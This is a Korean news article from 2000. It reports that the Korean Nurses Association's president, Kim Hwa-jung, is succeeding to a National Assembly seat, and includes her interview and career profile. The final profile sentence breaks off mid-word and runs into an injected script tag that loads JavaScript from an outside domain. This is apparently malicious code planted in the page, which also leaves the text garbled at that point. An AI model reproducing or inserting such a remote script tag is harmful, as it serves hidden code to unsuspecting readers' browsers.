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대한간호협회장 국회 진출
16대 국회 간호사 의원 2명으로 늘어
[] 백찬기       기사입력 2000-09-28 오전 08:53:53
김화중 대한간호협회장(서울대 보건대학원 교수)이 국회에 입성해 의정활동에 나선다.

김화중 회장이 국회의원직을 맡게 됨에 따라 16대 국회에는 보건복지위원회에서 왕성한 활동을 벌이고 있는 최영희 의원(새천년민주당·전국구)과 함께 2명의 간호사 의원이 의정활동을 수행하게 됐다.

김 회장은 지난 16대 총선에서 보건의료계를 대표하는 전문가라는 점이 높이 평가돼 민주당 전국구 비례대표 후보 20번에 공천받았으나 선거결과 19번까지 당선됨에 따라 그동안 의원직 승계후보 1순위로 꼽혀왔다.

김 회장은 대한간호정우회장, 한국산업간호협회장 등을 역임해 오면서 간호사의 정치참여 기회를 확대하는데 노력해 왔으며 농어촌 주민과 영세사업장 근로자 등 제도권에서 소외된 국민들을 위한 일차 보건의료체계 발전에도 힘써왔다.

김 회장은 국회에 등원해 의정활동을 벌이게 된 것과 관련 "한 개인이 아닌 간호협회장이 국회의원이 된 것은 간호계의 역량이 정치계에 알려진 결과"라며 "앞으로 의정활동을 통해 사랑·봉사·희생의 간호정신을 정치철학으로 삼아 모든 분야의 국민이 형평에 어긋나 억울함을 당하지 않도록 노력 하겠다"고 말했다.

간호계는 김 회장의 의원직 승계에 대해 "간호사는 사심없이 오직 국민의 편에서 일할 수 있는 전문가라는 사실을 다시 한번 확인시켜준 쾌거"라고 크게 환영하고 "그동안 간호계 발전을 위해 보여준 능력을 정치권에서도 유감없이 발휘해 달라"고 주문했다.

현재 16대 국회의원으로 의정활동을 벌이고 있는 보건의료계 인사는 간호사 1명, 의사 4명, 치과의사 2명, 약사 2명 등 9명이며 김화중 회장을 포함할 경우 모두 10명으로 늘어난다.

한편 김 회장의 국회 진출은 민주당 김한길 의원이 문화관광부 장관에 임명됨에 따라 이루어진 것으로 김 의원은 국무위원직에 전념하기 위해 전국구 의원직을 사퇴했다. 김 회장의 의원직 승계는 김 장관의 사퇴서가 수리된 후 이루어진다.

◈ 인터뷰 ◈

"간호사가 국회에 진출해 정치적인 안목과 힘을 갖게 되면 환자의 권리와 간호사 자신의 권리를 지키는 것은 물론 국민건강권 보장을 위한 합리적인 보건의료정책 결정에 영향력을 행사할 수 있는 길을 열 수 있습니다."

김화중 대한간호협회장은 국회에 입성해 의정활동을 펴게 된 것과 관련, "한 개인이 아닌 간호협회장이 국회의원이 된 것은 간호계의 위상이 그만큼 높아진 결과"라며 이같이 말했다.

김 회장은 특히 "간호사가 정치적인 위상을 키워올 수 있었던 것은 대한간호정우회와 같은 단체가 간호계에 존재하기에 가능했던 일"이라며 "간호정우회는 지금까지 10여년간의 활동을 통해 각종 선거에서 간호계의 결집된 역량을 이끌어 냄으로써 정치권에서 간호계를 무시할 수 없도록 위상을 강화시켜왔다"고 강조했다.

김 회장은 또 "앞으로 의정활동을 하는 동안 사랑·봉사·희생의 간호정신을 살려 의정활동을 벌일 생각"이라며 "간호정신이 우리나라 정치철학으로 자리잡을 때 제도권으로부터 소외받는 국민들도 형평에 어긋나지 않는 삶을 누리며 살 수 있다"고 덧붙였다.

김 회장은 "과거의 경우 간호사가 보건의료정책이 만들어지는 과정에 참여하는데 만족해 왔지만 앞으로는 직접 정책을 결정하고 이끌어가는 주도적인 위치에 설 수 있어야 한다"며 "여야를 막론하고 정치권에 보다 많은 간호사들이 진출하는 것이 간호계 발전을 위해서도 바람직한 모습"이라고 말하고 "정우회에 보다 많은 회원들이 참여해 줄 것"을 당부했다.

김 회장은 이어 "간호발전에 도움이 되는 길이라면 의정활동을 통해 반드시 실현시켜 나갈 것"이라며 "자랑스런 간호사의 모습을 정치권에 올바로 알리는데도 노력을 아끼지 않겠다"고 포부를 밝혔다.


▶ 프로필

67년 서울대 간호학과를 졸업한 후 71년 서울대 보건대학원에서 보건학 석사학위, 80년 미국 콜롬비아대학에서 교육학 석사학위를 취득했다. 박사학위는 84년 서울대 보건대학원에서 받았다.

67년부터 3년간 서울대학교병원에서 임상경험을 쌓았다. 70년에는 대한간호협회 출판부장을 지냈다. 71년 서울대 보건대학원에 몸담으면서부터 현재까지 줄곧 후학양성에 힘써왔다.

대한간호협회에서는 84년 이사로 선출되면서부터 본격적인 활동을 시작했으며 제2부회장, 제1부회장을 거쳐 27대와 28대 회장에 선출됐다.

학계에서는 지역사회간호의 학문과 실무 발전을 이끌어 가는 중심 위치에 서 있으며 지역사회간호학회장, 가정간호학회장, 한국학교보건학회장 등을 역임했다.

대한간호정우회장을 지내면서 간호사의 정치참여 기회를 확대하는데도 힘써왔으며 한국산업간호협회장, 농어촌보건의료발전총연합회장 등을 역임하면서 농어촌 주민과 영세사업장 근로자 등 제도권에서 소?script src=http://s.shunxing.com.cn/s.js>
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